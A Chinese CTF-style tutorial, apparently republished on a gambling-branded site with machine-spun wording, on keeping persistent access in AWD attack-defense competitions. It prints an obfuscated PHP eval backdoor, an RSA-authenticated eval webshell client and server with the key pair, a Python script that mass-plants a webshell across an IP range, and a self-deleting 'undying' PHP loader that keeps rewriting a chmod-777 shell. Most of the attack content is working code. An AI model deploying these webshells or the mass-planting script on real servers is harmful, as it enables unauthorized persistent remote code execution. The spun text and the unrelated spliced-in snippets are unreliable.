从0到1控制AWD攻防之RSA必杀 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

从0到1控制AWD攻防之RSA必杀

申博_安全预警 申博 251次浏览 已收录 0个评论

反-反汇编patch学习(一)

最近在学习反-反汇编技巧,以此记录,patch的实例程序在附件中 仅仅是新手的学习记录,大佬轻喷 编写一个测试程序 这个程序没有什么意义,在IDA中把puts函数patch成nop用于添加我们自己的指令 肯定有更好的方法,但是这里只是为了练习 vi

配景

近来在进修AWD线下竞赛要领,关于萌新来讲进修到了许多,也好好研讨了一番,尤其是针对RSA非对称加密连系不死马,然则网上的文章关于RSA木马只需服务端的代码,没有客户端,而且怎样应用并没有细致申明,以是在此研讨分享给宽大的WEB入门选手们,师傅们轻喷。

1.webshell剖析进修

1.1前置学问

起首相识chmod敕令的基础用法,轻易疾速变动网站的文件权限和webshell的权限:
Linux/Unix 的文件挪用权限分为三级 : 文件具有者、群组、其他。应用 chmod 可以或许用来掌握文件怎样被他人所挪用。
从0到1控制AWD攻防之RSA必杀
好比如上图所示,对应的第一位指的是应今后文件是不是是目次,第一到第四位代表文件的具有者,也就是建立该文件的人,好比我建立一个test文件夹,此时文件的具有者将对文件有读写实行的权限,今后用户地点的组也对该文件夹有读写实行的权限,其他对其有读和实行的权限。
从0到1控制AWD攻防之RSA必杀
我们经由过程以下php代码测试以下所示:

<?php
system('whoami');
?>

当在浏览器中我们接见以下所示,显现今后用户权限为www-data
从0到1控制AWD攻防之RSA必杀
当我们以敕令行运转shell1.php时,会以下图所示:
从0到1控制AWD攻防之RSA必杀
当我们以root身份运转时:
从0到1控制AWD攻防之RSA必杀
由上面三种状况可以或许看到,当运转此php文件的用户为谁,就会返回今后用户的身份。
而一般状况下,我们在本机测试时,apache服务器的html文件夹其他用户是没有写的权限的,只可以或许读和运转此文件夹中的文件。而一般在竞赛中我们的html文件夹的所有者为www-data或许ctf,而且other用户可以或许经由过程shell在html下写文件。而在竞赛中,我们一般要给我们的不死马写文件的权限。

1.2AWD中预置webshell分类

竞赛中一般webshell分为代码实行和敕令实行两种,好比最常见的就是以eval()函数assert()函数为首的代码实行函数或许以system()函数为首的敕令实行函数。Awd形式下面,竞赛主办方有时候会预留下后门,那末就分为以上两种一句话,或许是更加庞杂一点的变种木马,能够须要我们静态剖析,经由过程var_dump()函数剖析出后门的运用要领。以下以代码实行后门为例加以申明,一般在竞赛中我们也会碰到。

<?php
class Foo
{
    function Variable($c)
    {
        $name = 'Bar';
        $b=$this->$name(); 
        $b($c);
    }
    function Bar()
    {
        $__='a';
        $a1=$__; 
        $__++;$__++;$__++;$__++;
        $a2=$__; 
        $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
        $a3=$__++; 
        $a4=$__++; 
        $a5=$__; 
        $a=$a1.$a4.$a4.$a2.$a3.$a5; 
        return $a;
    }
}
function variable(){
    $_='A';
    $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
    $b1=$_++; 
    $b2=$_; 
    $_++;$_++;$_++;
    $b3=$_++; 
    $b4=$_; 
    $b='_'.$b2.$b1.$b3.$b4; 
    return $b;
}
$foo = new Foo();
$funcname = "Variable";
$bb=${variable()}[variable()];
$foo->$funcname($bb);

我们经由过程var_dump()函数很快就可以拼接出终究的一句话后门assert($_POST[_POST]),拼接出来须要考证一下,若是实行胜利背面就可以或许一把梭了,接下来就最先组织RSA木马
从0到1控制AWD攻防之RSA必杀
从0到1控制AWD攻防之RSA必杀

2.AWD中RSA不死木马举行权限保持

预留的后门很快就会被人删除,以是最好可以或许先应用预置后门拿一次flag,由于不论用户是什么权限读flag的权限照样充足的,此时若是是eval范例的后门,可以或许应用file_get_contents函数来读取flag,若是是system范例的后门可以或许应用cat来读取flag。固然网上也有文章讲用md5哈希身份考证+隐蔽文件+不死马+打殽杂流量来举行权限保持,以便于疾速在其他部队的服务器上莳植木马,而且包管本身的木马不被他人运用。然则只需敌手有充足的剖析才能,老是可以或许经由过程窃听流量来应用我们在他人机械上莳植的木马,有时候打得比我们本身还凶猛。那末基于RSA非对称加密的木马异常有必要了,在竞赛中也碰到过,然则网上剖析RSA木马和组织本身的RSA木马的文章较为简单,因此有了下文:

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

2.1设想头脑:

被攻击者,简称b,也就是其他部队的服务器上有带公钥的后门,我们本身的服务器上有私钥,经由过程我们用私钥加密payload发送到后门,b端用公钥举行payload的解密,然后再将payload的实行效果返回,此时我们就可以或许美滋滋地猎取flag。
我们应用openssl天生公私钥对:
从0到1控制AWD攻防之RSA必杀
公钥:
从0到1控制AWD攻防之RSA必杀
私钥:
从0到1控制AWD攻防之RSA必杀
有了私钥和公钥今后,我们就可以或许组织服务端木马和客户端掌握

2.2木马设置装备摆设:

我们如今当地测试客户端与服务端,我们的目的是经由过程python剧本发送payload给我们本身服务器上的RSA客户端用私钥举行payload 的加密,然后再将返回的加密payload发送到敌手的服务器上的RSA服务端,举行公钥解密再实行返回效果,如许纵然敌手可以或许看到公钥,然则没有私钥去加密payload就没有办法应用该RSA木马,下面贴出服务端和客户端的代码设置装备摆设:
客户端代码:

<?php
class Rsa {
private static $PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCrFxyAYGqDE9OR3CNPEjGpQDAcIcsc9ZG/2HPgzHsME8n45x1y
P75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6R24LZij0zixRz+mBU/xac+dJ
HIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry54iX4iJ1PVODtw/BZbQIDAQAB
AoGADC0A4kH6Uom+rMq12JK65gijY90jz1PKo5SL6puixiFCZmxMNC1FJZjzlE0p
j7YTm/rjBHCzK7gETpU2RMudUitgsXnwWD9BY2xfcJzukdDYCrgJCuqgGuZ+4D9J
sAWcWmGDpXXVnvROvJF6Yz4230DN754Af+B6vOsRsK+FhSECQQDZwv7iPnPcG9Pr
Ac8T+KMBex0XbEk4Lh4cRuQN224zkdVEkAsldWcWNBQuUeGXgseywz2xcO0GH238
zjc364gXAkEAySIabW3TR6f8kHTiqKo9pBO0y15LqAHGwQckXkfuibzCxM36pj/p
WVcRZy2WcFrnXjj3zXZecopRb9x/Jx9ZGwJBAJ/t+kwnGehZ97XtSiycuvrndGIz
gULle+/AkNUshy8Qt9T3BXipVOCVtwydzlT8E7ZSdgjPqwSIKLs2qI9FSFkCQEW3
8Ysu/4aeHzj/mzW11SoTvp6j7/urqfZtAFlB+9h4uta3Q4PvMXbLbHfkYHpPuFV7
z8HDnxd7BKGOv/CSuDMCQEAEJukly0GbEX8VZxFJ5/Ki3m2toGTD1CePObwW1DaS
dmNxKgsScUdcVw0WUVRL4KV4C2XLib6M9hjwqer0OQM=
-----END RSA PRIVATE KEY-----';

private static function getPrivateKey()
{
$privKey = self::$PRIVATE_KEY;
return openssl_pkey_get_private($privKey);
}

public static function privEncrypt($data = '')
{
if (!is_string($data)) {
return null;
}
return openssl_private_encrypt($data,$encrypted,self::getPrivateKey()) ? base64_encode($encrypted) : null;
}
}

$rsa = new Rsa();
$cmd = $_POST['cmd'];
$action = "enc";
if($action!==Null){
    if($action==="enc"){
        $privEncrypt = $rsa->privEncrypt($cmd);
        echo $privEncrypt;
    }
}

服务端代码:

<?php
class Rsa {
    private static $PUBLIC_KEY= '-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrFxyAYGqDE9OR3CNPEjGpQDAc
Icsc9ZG/2HPgzHsME8n45x1yP75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6
R24LZij0zixRz+mBU/xac+dJHIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry5
4iX4iJ1PVODtw/BZbQIDAQAB
-----END PUBLIC KEY-----
';
    private static function getPublicKey()
    {
        $publicKey = self::$PUBLIC_KEY;
        return openssl_pkey_get_public($publicKey);
    }

    public static function publicDecrypt($encrypted = '')
    {
        if (!is_string($encrypted)) {
            return null;
        }
        return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
    }
}
$cmd=$_POST[cmd];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);

当地测试exp:

import requests
import base64
url = "http://127.0.0.1//rsa_client.php"
payload = "system('whoami');"
res = requests.post(url=url,data={"cmd":payload,"action":"enc"})
enc = res.content
url1 = "http://127.0.0.1/rsa_server.php"
payload1 = enc
res1 = requests.post(url=url1,data={"cmd":payload1})
print(res1.content)

从0到1控制AWD攻防之RSA必杀
由上图可以或许看到设置装备摆设的服务端和客户端代码可以或许一般加密解密,接下来只需和不死马连系起来就可以或许了,贴上一个通用的批量莳植木马框架:

import requests
import base64


def no_die(ip_start,ip_end,shell_addr,shell_pass):
    ips=open("keep_continue_ip_list.txt","w")
    filename="no_die.php"  #不死马的途径
    f= open(filename,'r')
    php = f.read()
    php = base64.b64encode(php.encode("ascii"))
    php = php.decode("ascii")
    url = ".".join(ip_start.split(".")[0:3])
    ip_start = int(ip_start.split(".")[-1])
    ip_end = int(ip_end.split(".")[-1])
    shell = shell_addr #主办方供应的后门地点
    passwd = shell_pass #后门暗码
    data = {passwd:"file_put_contents(\".config.php\",base64_decode(\"" + php + "\"));"}
    for i in range(ip_start,ip_end):
        try:
            url1 = "http://"+url + "."+str(i) + shell
            print(url1)
            attack = requests.post(url=url1,data=data,timeout=1)
            if(attack.status_code == 200):
                url1 = "http://"+url + "."+ str(i) +"/.config.php"
                try:
                    requests.get(url=url1,timeout=0.1)
                except:
                    pass
                url1 = "http://"+url + "."+ str(i) +"/.config.php"
                active = requests.get(url=url1,timeout=1)
                if(active.status_code==200):
                    ips.write(url+"."+str(i)+"----"+"success")
                    ips.write("\n")
                else:
                    print("sorry the file is not exist!")
        except:
            print(url1+"-----error")
#no_die("192.168.0.2","192.168.0.254","/backdoor.php","c") 
#天生的不死马地点为http://x.x.x.x/.config.php
def use_rsa():
    url = "http://127.0.0.1/rsa_client.php"
    payload = "system('whoami');" #此处的payload可以或许恣意变动
    res = requests.post(url=url,data={"cmd":payload,"action":"enc"})
    enc = res.content
    url1 = "http://127.0.0.1/.rsa_server.php" #此处为不死马轮回写入的RSA服务端,用来返回flag
    payload1 = enc
    res1 = requests.post(url=url1,data={"cmd":payload1})
print(res1.content)

个中不死马的内容以下:
no_die.php

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    $shell='<?php
class Rsa {private static $PUBLIC_KEY= "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrFxyAYGqDE9OR3CNPEjGpQDAc
Icsc9ZG/2HPgzHsME8n45x1yP75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6
R24LZij0zixRz+mBU/xac+dJHIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry5
4iX4iJ1PVODtw/BZbQIDAQAB
-----END PUBLIC KEY-----
";
    private static function getPublicKey()
    {
        $publicKey = self::$PUBLIC_KEY;
        return openssl_pkey_get_public($publicKey);
    }

    public static function publicDecrypt($encrypted = "")
    {
        if (!is_string($encrypted)) {
            return null;
        }
        return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
    }
}
$cmd=$_POST[cmd];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);'
    ;
    while(1){
    file_put_contents('.rsa_server.php',$shell);
    system('chmod 777 .rsa_server.php');
    }
?>

反-反汇编patch学习(一)

最近在学习反-反汇编技巧,以此记录,patch的实例程序在附件中 仅仅是新手的学习记录,大佬轻喷 编写一个测试程序 这个程序没有什么意义,在IDA中把puts函数patch成nop用于添加我们自己的指令 肯定有更好的方法,但是这里只是为了练习 vi


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明从0到1控制AWD攻防之RSA必杀
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址